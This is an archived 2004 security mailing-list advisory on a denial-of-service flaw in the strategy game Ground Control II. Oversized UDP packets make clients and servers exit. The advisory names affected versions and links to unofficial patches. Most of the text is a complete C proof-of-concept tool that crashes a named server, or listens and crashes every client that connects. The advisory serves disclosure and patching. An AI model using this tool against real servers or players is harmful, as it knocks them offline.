[NT] Ground Control II Broadcast Forced Exit (DoS)
From: SecuriTeam (support_at_securiteam.com)
Date: 08/30/04
- Previous message: SecuriTeam: "[EXPL] Citadel/UX Remote Buffer Overflow Exploit"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 30 Aug 2004 16:59:42 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Ground Control II Broadcast Forced Exit (DoS)
------------------------------------------------------------------------
SUMMARY
<http://www.groundcontrol2.com> Ground Control II is a futuristic
strategy game developed by Massive Entertainment (http://www.massive.se)
and released in June 2004.
Due to a coding error, both client and server are vulnerable to a simple
attack that will cause them to exit when receiving a sufficiently long
packet.
DETAILS
Vulnerable Systems:
* Ground Control II: Operation Exodus
Immune Systems:
* Ground Control II Massive Entertainment servers
The game automatically exits if it receives a packet bigger than the max
supported size (usually 512 bytes) because some instructions check for the
socket error "Message too long" and consider it critical.
Both servers and clients are vulnerable, however the problem only affects
the clients as a single malicious server is able to automatically (or
directly) crash any client in the world so nobody can play online.
Patch Availability:
Only the massively multiplayer online servers are immune to this problem
and considered safe. An official patch for the client software hasn't been
released yet. An unofficial patch for the dedicated server (version
1.0.0.7) and the demo (version 0.0.8.1) is available at the following
URLs:
<http://aluigi.altervista.org/patches/gc2ds-1007-fix.zip>
http://aluigi.altervista.org/patches/gc2ds-1007-fix.zip
<http://aluigi.altervista.org/patches/gc2-demo0081-fix.zip>
http://aluigi.altervista.org/patches/gc2-demo0081-fix.zip
Proof of Concept:
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define PORT 42001
#define BUFFSZ 2048
#define BOOMSZ 1024 // 513 is enough
#define TIMEOUT 3
#define INFO "\x58\x00\x00\x00" /* build */ \
"\x52\x00" /* protocol */ \
"\x0a\x00\x00" /* gameinfo */
/* this packet is not important, you can also use random data */
void show_gc2info(u_char *data, int len);
void unicode2char(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
psz,
on = 1,
type,
doubt = 0;
u_short port = PORT;
u_char buff[BUFFSZ];
setbuf(stdout, NULL);
fputs("\n"
"Ground Control <= 1.0.0.7 server/client crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\nUsage: %s <attack> [port(%d)]\n"
"\n"
"Attack:\n"
" c = broadcast clients crash\n"
" s = server crash (can be also directly used versus a client)\n"
" You must add the IP or the hostname of the server after the
's'.\n"
"\n"
"Some usage examples:\n"
" gc2boom c listens on port %d for clients\n"
" gc2boom c 1234 listens on port 1234\n"
" gc2boom s 192.168.0.1 tests the server 192.168.0.1 on port %d\n"
" gc2boom s codserver 1234 tests the server codserver on port
1234\n"
"\n", argv[0], PORT, PORT, PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
type = argv[1][0];
if(type == 's') {
if(!argv[2]) {
fputs("\n"
"Error: you must specify the server IP or hostname.\n"
" Example: gc2boom s localhost\n"
"\n", stdout);
exit(1);
}
peer.sin_addr.s_addr = resolv(argv[2]);
if(argc > 3) port = atoi(argv[3]);
printf("\n- Target %s:%hu\n\n",
inet_ntoa(peer.sin_addr),
port);
} else if(type == 'c') {
peer.sin_addr.s_addr = INADDR_ANY;
if(argc > 2) port = atoi(argv[2]);
printf("\n- Listening on port %d\n", port);
} else {
fputs("\n"
"Error: Wrong type of attack.\n"
" You can choose between 2 types of attacks, versus clients with 'c'
or\n"
" versus servers with 's'\n"
"\n", stdout);
exit(1);
}
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(type == 's') {
fputs("- Request informations\n", stdout);
if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(timeout(sd) < 0) {
fputs("\n"
"Alert: socket timeout, probably the server is not online or the
port you have\n"
" choosen is not exact.\n"
" Check the \"unreliableport\" value in the server's
informations.\n"
" This tool now continue the attack\n", stdout);
doubt = 1;
} else {
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
if(len < 0) std_err();
show_gc2info(buff, len);
}
memset(buff, 0x00, BOOMSZ);
fputs("- Send BOOM packet\n", stdout);
if(sendto(sd, buff, BOOMSZ, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("- Wait one second for an exact check\n", stdout);
sleep(ONESEC);
fputs("- Check if server is vulnerable\n", stdout);
if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
if(doubt) {
fputs("\nI can't say if the host is vulnerable, check it
manually\n\n", stdout);
} else {
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
}
} else {
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("Clients:\n", stdout);
while(1) {
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
if(len < 0) std_err();
buff[len] = 0x00;
printf("%16s:%hu -> %s\n",
inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port),
buff);
memset(buff, 0x00, BOOMSZ);
if(sendto(sd, buff, BOOMSZ, 0, (struct sockaddr *)&peer,
sizeof(peer))
< 0) std_err();
}
}
close(sd);
return(0);
}
void show_gc2info(u_char *data, int len) {
u_char *ptr;
int cp;
printf("\n Build: %d", *(u_short *)data);
printf("\n Protocol: %d", *(u_short *)(data + 4));
printf("\n Gameinfo: %d", *(u_short *)(data + 6));
ptr = data + 9;
fputs("\n Server name: ", stdout);
unicode2char(ptr + 1, *ptr);
fwrite(ptr + 1, 1, *ptr, stdout);
ptr += (*ptr << 1) + 1;
fputs("\n Map: ", stdout);
ptr += fwrite(ptr + 1, 1, *ptr, stdout) + 1;
fputs("\n External IP: ", stdout);
ptr += fwrite(ptr + 1, 1, *ptr, stdout) + 1;
ptr += 4;
cp = *ptr++;
printf("\n Current players: %d", cp);
printf("\n Max players: %d", *ptr++);
printf("\n ???: %s", *ptr++ ? "true" : "false");
printf("\n Dedicated: %s", *ptr++ ? "true" : "false");
printf("\n Password: %s", *ptr++ ? "true" : "false");
ptr += 5;
while(cp--) {
fputs("\n Player: ", stdout);
unicode2char(ptr + 1, *ptr);
fwrite(ptr + 1, 1, *ptr, stdout);
ptr += (*ptr << 1) + 1 + 6;
}
fputs("\n\n", stdout);
}
void unicode2char(u_char *data, int len) {
u_char *out = data;
while(len--) {
*out++ = *data++;
data++;
}
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@autistici.org> Luigi
Auriemma.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[EXPL] Citadel/UX Remote Buffer Overflow Exploit"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [NEWS] Multiple Vulnerabilities In NAS
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... The server daemon runs
as root and listens ... int newconn; ... Can't read slave name length from USL
client ... (Securiteam) - [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Buffer Overflows)
... The buffers in which the server stores these two strings have a size of 64 ...
int alen, ulen; ... (Securiteam) - [NT] Dark Age of Camelot Man-In-The-Middle
... use of RSA public key cryptography and an RC4 based symmetric algorithm. ...
Seeing the imminent release of code for cracking the game client (which ... At the beginning
of each TCP session, the server sends a 1536 bit RSA ... void bytes_out(unsigned char *data,
int len) ... (Securiteam) - [NT] Stronghold DoS
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... In the packet used for joining
the server is locatd the client's nickname ... unsigned char *gssdkcr( ...
void show_info(u_char *data, int len); ... (Securiteam) - [NEWS] Sauerbraten Engine Multiple Vulnerabilities (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... The problem, which affects both
server and clients, is that this code ... C] Clients Crash Through Invalid Map ...
When a client ... (Securiteam)